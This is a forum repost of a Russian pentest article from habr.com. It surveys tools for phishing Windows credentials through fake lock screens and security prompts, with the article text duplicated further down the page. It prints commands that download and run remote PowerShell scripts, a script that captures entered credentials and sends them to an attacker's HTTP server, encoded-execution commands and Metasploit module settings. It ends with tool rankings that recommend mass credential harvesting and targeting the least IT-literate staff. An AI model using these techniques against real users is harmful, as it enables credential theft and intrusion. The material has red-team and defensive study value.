[Информационная безопасность] Фишинг учетных данных Windows
Автор
Сообщение
news_bot ®
Стаж: 6 лет 9 месяцев
Сообщений: 27286
В первом квартале 2020 года число фишинговых атак на пользователей по всему миру выросло вдвое по сравнению с аналогичным периодом 2019 года — с 9% до 18%. Такие данные приводит “Лаборатория Касперского”.
В операционных системах семейства Windows у некоторых программ и процессов запрашивать учетные данные пользователя для аутентификации (например, в Outlook) для повышения привилегий выполнения (User Account Control) или просто для выхода из режима ожидания (Windows LockScreen) — нормально. Имитация такого поведения Windows позволяет получить учетные данные пользователей с их последующим применением на поздних этапах тестирования на проникновение. В этой статье собран дайджест из нескольких распространенных программ для фишинга через подмену экрана блокировки.
С#
Современные методики пентеста часто базируются на языке программирования C#, поскольку программы на нем могут выполняться через различные фреймворки (Cobalt Strike, Covenant и др.)
1) Утилита The FakeLogonScreen была разработана Arris Huijgen на C# и она не просто подменяет стандартный экран ввода пароля ОС, а делает это, используя параметры стандартного экрана, заданные в системе, что в разы повышает шансы не вызвать у пользователя подозрение и удачно получить его учетные данные для входа в систему.
FakeLogonScreen — запуск
FakeLogonScreen — блокировка экрана
При вводе пароля на фейковой странице входа FakeLogonScreen выполнит валидацию учетных данных в AD или локально, чтобы точно определить, верный ли пароль был введен. В дальнейшем пароль будет отображен в консоли пентестера.
FakeLogonScreen — Ввод учетных данных
Также в состав FakeLogonScreen входит второй вариант исполняемого файла, который сохраняет пойманные учетные данные в файл user.db локально на инфицированной машине. Данный файл может быть просмотрен с помощью команды type:
type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db
FakeLogonScreen — сохранение в файл user.db
2) Похожим образом устроена программа SharpLocker, разработанная Matt Pickford. После запуска она также подменяет собой оригинальный экран входа в систему.
SharpLocker — блокировка экрана
Каждый введенный пользователем символ перехватывается, пока не будет выявлен весь пароль целиком. Стоит, однако, отметить, что данная утилита не выполняет проверку подлинности пароля и будет снифить все, что пользователь введет в поле пароля.
SharpLocker — фишинг пароля
Power Shell
Запросы учетных данных со стороны службы безопасности Windows очень распространены, поскольку ПО в корпоративной среде может регулярно требовать дополнительное подтверждение действий или переавторизацию. Microsoft Outlook, например, один из ярчайших представителей такого ПО, которое постоянно запрашивает у пользователей доменные учетные данные.
1. Утилита, которая маскируется под окно запроса со стороны безопасности Windows называется CredsLeaker. Для ее корректной работы требуется web-сервер, с которого она будет получать все необходимые файлы и куда будет сохранять учетные данные пользователей, а также наличие PowerShell, чтобы отправлять HTTP запросы на свой сервер. Все команды в дальнейшем будут выполнены из имеющегося в составе BAT-файла.
CredsLeaker — HTTP Delivery
Перед запуском run.bat-файла необходимо внести все необходимые изменения в конфигурационные файлы утилиты. Как только run.bat файл будет запущен, пользователь увидит окно Windows Security с запросом его учетных данных.
CredsLeaker — окно фишинга
Окно с запросом исчезнет, только если будут введены валидные учетные данные пользователя. Домен, имя компьютера, имя пользователя и пароль будут сохранены в файле creds.txt по указанному ниже пути:
/var/www/html/creds.txt
CredsLeaker — вывод в файл creds.txt
2. Matt Nelson разработал PowerShell скрипт, который вызывает окно запроса учетных данных Windows Security с последующей проверкой их валидности. Данное окно также не может быть закрыто пользователем, пока не будут введены актуальные учетные данные. Этот скрипт может быть выполнен удаленно, а введенные учетные данные будут отображены в консоли на машине «злоумышленника»:
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt
Invoke-LoginPrompt — удаленный вызов
Invoke-LoginPrompt — окно фишинга
3. В составе Nishang framework тоже имеется PowerShell-скрипт, который создает фейковое окно запроса учетных данных пользователя.
Import-Module C:\Invoke-CredentialsPhish.ps1
Invoke-CredentialsPhish
Invoke-CredentialsPhish — локальный вызов и окно фишинга
Сгенерированное окно будет содержать информацию о том, что на выполнение данного действия требуется подтверждение в виде ввода учетных данных. Более опытные в плане ИБ пользователи могут заподозрить, что данное окно вызвано запуском некоего приложения в фоне, однако в корпоративной сети далеко не все могут обладать этими знаниями. Учетные данные, которые пользователь введет в диалоговом окне, будут отображены в консоли.
Invoke-CredentialsPhish — вывод собранных данных
Данный скрипт также может быть запущен удаленно:
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish
Rob Fuller в своем блоге описал атаку по фишингу учетных данных пользователя с использованием Metasploit и PowerShell. Metasploit Framework располагает в своем составе модулями, которые могут захватывать учетные данные пользователей из различных протоколов (FTP, SMB, HTTP и др.). Указанный ниже модуль используется для развертывания базового HTTP сервера с аутентификацией:
use auxiliary/server/capture/http_basic
set URIPATH /
PowerShell применяется для проведения атаки по фишингу учетных данных пользователя посредством генерации окна запроса Windows Security с последующей передачей собранных учетных данных на HTTP сервер, созданный ранее через Metasploit:
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('http://10.10.0.5/');
Для изначального захвата учетных данных требуется использовать кодировку UTF-16LE с последующим конвертированием в Base64:
cat popup.txt | iconv -t UTF-16LE
cat popup.txt | iconv -t UTF-16LE | base64 -w0
Конвертация кода в Base64
Выполнение указанного кода, локально или удаленно, приводит к появлению у пользователя окна запроса на авторизацию якобы со стороны Windows Security.
powershell.exe -ep bypass -enc <base64>
Окно фишинга учетных данных
Модуль Metasploit получит учетные данные сразу после ввода со стороны пользователя.
Metasploit HTTP Server — получение учетных данных
Metasploit
Metasploit Framework имеет в своем составе модуль, способный самостоятельно вызвать фейковое окно с запросом авторизации Windows Security со стороны практически любого процесса в системе. Для корректной работы данного модуля требуется указать рабочую meterpreter сессию и процесс, от имени которого будет вызван фейковый запрос авторизации Windows Security.
use post/windows/gather/phish_windows_credentials
set SESSION 3
set PROCESS *
run
Metasploit Module — конфигурация
В данном случае символ * указывает модулю, чтобы он выполнял мониторинг всех процессов, которые запущены от имени системы (NT Authority\System), и вызвал диалоговое окно в тот момент, когда в системе будет запущен новый процесс от имени системы.
Metasploit Module — мониторинг по всем процессам
Как только новый процесс запустится, пользователю будет выдано диалоговое окно от имени данного процесса с запросом авторизации для якобы подтверждения дальнейшей работы.
Metasploit Module — окно фишинга
Как только пользователь введет учетные данные, они сразу же будут отображены в консоли Metasploit.
Metasploit Module — получение учетных данных
Также данный модуль может быть настроен на ожидание запуска конкретного процесса.
Metasploit Module — получение учетных данных через процесс notepad.exe
BASH
Lockphish — это еще одна утилита, которая способна выполнить фишинговую атаку с подменой окна входа в систему Windows. Темплейт окна входа в систему хранится на PHP-сервере и по умолчанию использует YouTube, чтобы выполнить редирект пользователя после ввода логина и пароля.
bash lockphish.sh
LockPhish — запуск
На данном этапе потребуется прибегнуть к помощи социальной инженерии, чтобы заманить пользователя на веб-сайт, где расположены файлы экрана блокировки.
LockPhish — скачивание файла
В отличие от всех остальных утилит, расположение элементов на данном экране блокировки может быть не точным, запрос на авторизацию будет выведен от имени Администратора, а не от имени текущего аккаунта пользователя, а внешне окно блокировки стилизовано под Windows 10 Lockscreen. Все это в комплексе может очень сильно насторожить пользователя. Данная утилита также не имеет механизмов валидации введенного пароля.
LockPhish — экран блокировки
После того, как пользователь выполнит ввод учетных данных, будет выполнен редирект на веб-сайт youtube.com.
LockPhish — редирект
Учетные данные будут отображены в консоли.
LockPhish — собранные учетные данные
Представленные в статье методы будут эффективны, если пентестеру уже удалось закрепиться в системе (получить стабильную точку входа), но повысить привилегии или получить учетные данные пользователей другим путем не получается. При проведении подобных фишинговых атак, следует очень тщательно подбирать целевую аудиторию. Эффективность будет в разы выше, если целью окажутся наименее IT-грамотные сотрудники организации.
Краткий вердикт по всем протестированным ПО
- FakeLogonScreen. Выглядит максимально правдоподобно, при этом использует стандартные параметры, установленные в системе. Умеет выполнять валидацию введенных учетных данных. (Лучший выбор)
- SharpLocker. Не выполняет проверку подлинности, использованы стандартные обои windows для LockScreen, верстка самого локскрина слегка уходит вправо, что может насторожить пользователя. (Не рекомендуется к использованию, если есть возможность применить FakeLogonScreen)
- CredsLeaker. Простота исполнения, генерирует аутентичное окно, но требует веб-сервер для работы. Если нужно сработать по одному пользователю, то наличие веб-сера — это скорее минус, если есть возможность запустить скрипт на всех компьютерах домена и массово “причесать” учетные данные, то веб-сервер — это, безусловно, плюс. (Рекомендовано для массового сбора учетных данных)
- Invoke-LoginPrompt. Простота реализации, подойдет для точечного применения, создаваемое окно стилизовано под старые или серверные версии Windows. Может вызвать подозрения у пользователя. (Рекомендовано к использованию, но с осторожностью)
- Invoke-CredentialsPhish. Все то же самое, что и у пациента выше.
- Скрипт от Rob Fuller. Интеграция с metasploit, возможность массового применения, легкие танцы с бубном в виде конвертации. (Также отлично подойдет для массового сбора учетных данных)
- Модуль Metasploit phish_windows_credentials. Полная интеграция с Metasploit (таки модуль), создаваемое окно старой версии. (Применять можно, но учитывайте IT-грамотность жертвы)
- LockPhish. С одной стороны — криво сверстанный локскрин, без проверки подлинности, да еще и без учета текущего пользователя (Всегда просит пароль от Administrator). С другой стороны — единственный из пациентов, который может сработать через браузер. Отослали жертве ссылку и ждем. (Применять из коробки не рекомендуется, однако, если знаете логин конкретной жертвы, то перенастройте с Adminnistrator на него и будет уже не так плохо. Может даже и сработать)
Еще больше материалов в нашем блоге в telegram. Подписывайся!
===========
Источник:
habr.com
===========
Похожие новости:
- [Информационная безопасность, История IT, Социальные сети и сообщества] Хакеры взломали Twitter и опубликовали скриншоты внутреннего интерфейса сервиса
- [Twitter API, Информационная безопасность] Twitter взломали. Пострадали аккаунты Apple, Барака Обамы, Билла Гейтса и множества других звезд твиттера
- [IT-компании, История IT, Софт] Windows 10 исполнилось 5 лет
- [Информационная безопасность] Взломаны известные аккаунты твиттера, злоумышленники предлагают перевести деньги на биткоин-адрес
- [Информационная безопасность] Разбор: как мы нашли RCE-уязвимость в контроллере доставки приложений F5 Big-IP
- [IT-компании, Информационная безопасность, История IT] Acronis приобрела DeviceLock
- [Информационная безопасность] Wapiti — анализ защищенности сайта своими силами
- [Информационная безопасность, Сетевые технологии, Системное администрирование] SIGRed — новая критическая уязвимость в Windows Server. Как защититься?
- [Информационная безопасность] Обнаружена опаснейшая уязвимость в Windows DNS Server
- [IT-инфраструктура, IT-стандарты, Информационная безопасность, Конференции] Управление мобильностью – здесь и сейчас
Теги для поиска: #_informatsionnaja_bezopasnost (Информационная безопасность), #_windows, #_cybersecurity, #_security, #_fishing, #_credential_access, #_bezopasnost (безопасность), #_fishing (фишинг), #_blog_kompanii_t.hunter (
Блог компании T.Hunter
), #_informatsionnaja_bezopasnost (
Информационная безопасность
)
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 19:45
Часовой пояс: UTC + 5
Автор | Сообщение |
---|---|
news_bot ®
Стаж: 6 лет 9 месяцев |
|
В первом квартале 2020 года число фишинговых атак на пользователей по всему миру выросло вдвое по сравнению с аналогичным периодом 2019 года — с 9% до 18%. Такие данные приводит “Лаборатория Касперского”. В операционных системах семейства Windows у некоторых программ и процессов запрашивать учетные данные пользователя для аутентификации (например, в Outlook) для повышения привилегий выполнения (User Account Control) или просто для выхода из режима ожидания (Windows LockScreen) — нормально. Имитация такого поведения Windows позволяет получить учетные данные пользователей с их последующим применением на поздних этапах тестирования на проникновение. В этой статье собран дайджест из нескольких распространенных программ для фишинга через подмену экрана блокировки. С# Современные методики пентеста часто базируются на языке программирования C#, поскольку программы на нем могут выполняться через различные фреймворки (Cobalt Strike, Covenant и др.) 1) Утилита The FakeLogonScreen была разработана Arris Huijgen на C# и она не просто подменяет стандартный экран ввода пароля ОС, а делает это, используя параметры стандартного экрана, заданные в системе, что в разы повышает шансы не вызвать у пользователя подозрение и удачно получить его учетные данные для входа в систему. FakeLogonScreen — запуск FakeLogonScreen — блокировка экрана При вводе пароля на фейковой странице входа FakeLogonScreen выполнит валидацию учетных данных в AD или локально, чтобы точно определить, верный ли пароль был введен. В дальнейшем пароль будет отображен в консоли пентестера. FakeLogonScreen — Ввод учетных данных Также в состав FakeLogonScreen входит второй вариант исполняемого файла, который сохраняет пойманные учетные данные в файл user.db локально на инфицированной машине. Данный файл может быть просмотрен с помощью команды type: type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db
FakeLogonScreen — сохранение в файл user.db 2) Похожим образом устроена программа SharpLocker, разработанная Matt Pickford. После запуска она также подменяет собой оригинальный экран входа в систему. SharpLocker — блокировка экрана Каждый введенный пользователем символ перехватывается, пока не будет выявлен весь пароль целиком. Стоит, однако, отметить, что данная утилита не выполняет проверку подлинности пароля и будет снифить все, что пользователь введет в поле пароля. SharpLocker — фишинг пароля Power Shell Запросы учетных данных со стороны службы безопасности Windows очень распространены, поскольку ПО в корпоративной среде может регулярно требовать дополнительное подтверждение действий или переавторизацию. Microsoft Outlook, например, один из ярчайших представителей такого ПО, которое постоянно запрашивает у пользователей доменные учетные данные. 1. Утилита, которая маскируется под окно запроса со стороны безопасности Windows называется CredsLeaker. Для ее корректной работы требуется web-сервер, с которого она будет получать все необходимые файлы и куда будет сохранять учетные данные пользователей, а также наличие PowerShell, чтобы отправлять HTTP запросы на свой сервер. Все команды в дальнейшем будут выполнены из имеющегося в составе BAT-файла. CredsLeaker — HTTP Delivery Перед запуском run.bat-файла необходимо внести все необходимые изменения в конфигурационные файлы утилиты. Как только run.bat файл будет запущен, пользователь увидит окно Windows Security с запросом его учетных данных. CredsLeaker — окно фишинга Окно с запросом исчезнет, только если будут введены валидные учетные данные пользователя. Домен, имя компьютера, имя пользователя и пароль будут сохранены в файле creds.txt по указанному ниже пути: /var/www/html/creds.txt
CredsLeaker — вывод в файл creds.txt 2. Matt Nelson разработал PowerShell скрипт, который вызывает окно запроса учетных данных Windows Security с последующей проверкой их валидности. Данное окно также не может быть закрыто пользователем, пока не будут введены актуальные учетные данные. Этот скрипт может быть выполнен удаленно, а введенные учетные данные будут отображены в консоли на машине «злоумышленника»: powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt
Invoke-LoginPrompt — удаленный вызов Invoke-LoginPrompt — окно фишинга 3. В составе Nishang framework тоже имеется PowerShell-скрипт, который создает фейковое окно запроса учетных данных пользователя. Import-Module C:\Invoke-CredentialsPhish.ps1
Invoke-CredentialsPhish Invoke-CredentialsPhish — локальный вызов и окно фишинга Сгенерированное окно будет содержать информацию о том, что на выполнение данного действия требуется подтверждение в виде ввода учетных данных. Более опытные в плане ИБ пользователи могут заподозрить, что данное окно вызвано запуском некоего приложения в фоне, однако в корпоративной сети далеко не все могут обладать этими знаниями. Учетные данные, которые пользователь введет в диалоговом окне, будут отображены в консоли. Invoke-CredentialsPhish — вывод собранных данных Данный скрипт также может быть запущен удаленно: powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish
Rob Fuller в своем блоге описал атаку по фишингу учетных данных пользователя с использованием Metasploit и PowerShell. Metasploit Framework располагает в своем составе модулями, которые могут захватывать учетные данные пользователей из различных протоколов (FTP, SMB, HTTP и др.). Указанный ниже модуль используется для развертывания базового HTTP сервера с аутентификацией: use auxiliary/server/capture/http_basic
set URIPATH / PowerShell применяется для проведения атаки по фишингу учетных данных пользователя посредством генерации окна запроса Windows Security с последующей передачей собранных учетных данных на HTTP сервер, созданный ранее через Metasploit: $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient; $wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)"); $wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy; $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; $wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, ''); $result = $wc.downloadstring('http://10.10.0.5/'); Для изначального захвата учетных данных требуется использовать кодировку UTF-16LE с последующим конвертированием в Base64: cat popup.txt | iconv -t UTF-16LE
cat popup.txt | iconv -t UTF-16LE | base64 -w0 Конвертация кода в Base64 Выполнение указанного кода, локально или удаленно, приводит к появлению у пользователя окна запроса на авторизацию якобы со стороны Windows Security. powershell.exe -ep bypass -enc <base64>
Окно фишинга учетных данных Модуль Metasploit получит учетные данные сразу после ввода со стороны пользователя. Metasploit HTTP Server — получение учетных данных Metasploit Metasploit Framework имеет в своем составе модуль, способный самостоятельно вызвать фейковое окно с запросом авторизации Windows Security со стороны практически любого процесса в системе. Для корректной работы данного модуля требуется указать рабочую meterpreter сессию и процесс, от имени которого будет вызван фейковый запрос авторизации Windows Security. use post/windows/gather/phish_windows_credentials
set SESSION 3 set PROCESS * run Metasploit Module — конфигурация В данном случае символ * указывает модулю, чтобы он выполнял мониторинг всех процессов, которые запущены от имени системы (NT Authority\System), и вызвал диалоговое окно в тот момент, когда в системе будет запущен новый процесс от имени системы. Metasploit Module — мониторинг по всем процессам Как только новый процесс запустится, пользователю будет выдано диалоговое окно от имени данного процесса с запросом авторизации для якобы подтверждения дальнейшей работы. Metasploit Module — окно фишинга Как только пользователь введет учетные данные, они сразу же будут отображены в консоли Metasploit. Metasploit Module — получение учетных данных Также данный модуль может быть настроен на ожидание запуска конкретного процесса. Metasploit Module — получение учетных данных через процесс notepad.exe BASH Lockphish — это еще одна утилита, которая способна выполнить фишинговую атаку с подменой окна входа в систему Windows. Темплейт окна входа в систему хранится на PHP-сервере и по умолчанию использует YouTube, чтобы выполнить редирект пользователя после ввода логина и пароля. bash lockphish.sh
LockPhish — запуск На данном этапе потребуется прибегнуть к помощи социальной инженерии, чтобы заманить пользователя на веб-сайт, где расположены файлы экрана блокировки. LockPhish — скачивание файла В отличие от всех остальных утилит, расположение элементов на данном экране блокировки может быть не точным, запрос на авторизацию будет выведен от имени Администратора, а не от имени текущего аккаунта пользователя, а внешне окно блокировки стилизовано под Windows 10 Lockscreen. Все это в комплексе может очень сильно насторожить пользователя. Данная утилита также не имеет механизмов валидации введенного пароля. LockPhish — экран блокировки После того, как пользователь выполнит ввод учетных данных, будет выполнен редирект на веб-сайт youtube.com. LockPhish — редирект Учетные данные будут отображены в консоли. LockPhish — собранные учетные данные Представленные в статье методы будут эффективны, если пентестеру уже удалось закрепиться в системе (получить стабильную точку входа), но повысить привилегии или получить учетные данные пользователей другим путем не получается. При проведении подобных фишинговых атак, следует очень тщательно подбирать целевую аудиторию. Эффективность будет в разы выше, если целью окажутся наименее IT-грамотные сотрудники организации. Краткий вердикт по всем протестированным ПО
=========== Источник: habr.com =========== Похожие новости:
Блог компании T.Hunter ), #_informatsionnaja_bezopasnost ( Информационная безопасность ) |
|
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы
Текущее время: 22-Ноя 19:45
Часовой пояс: UTC + 5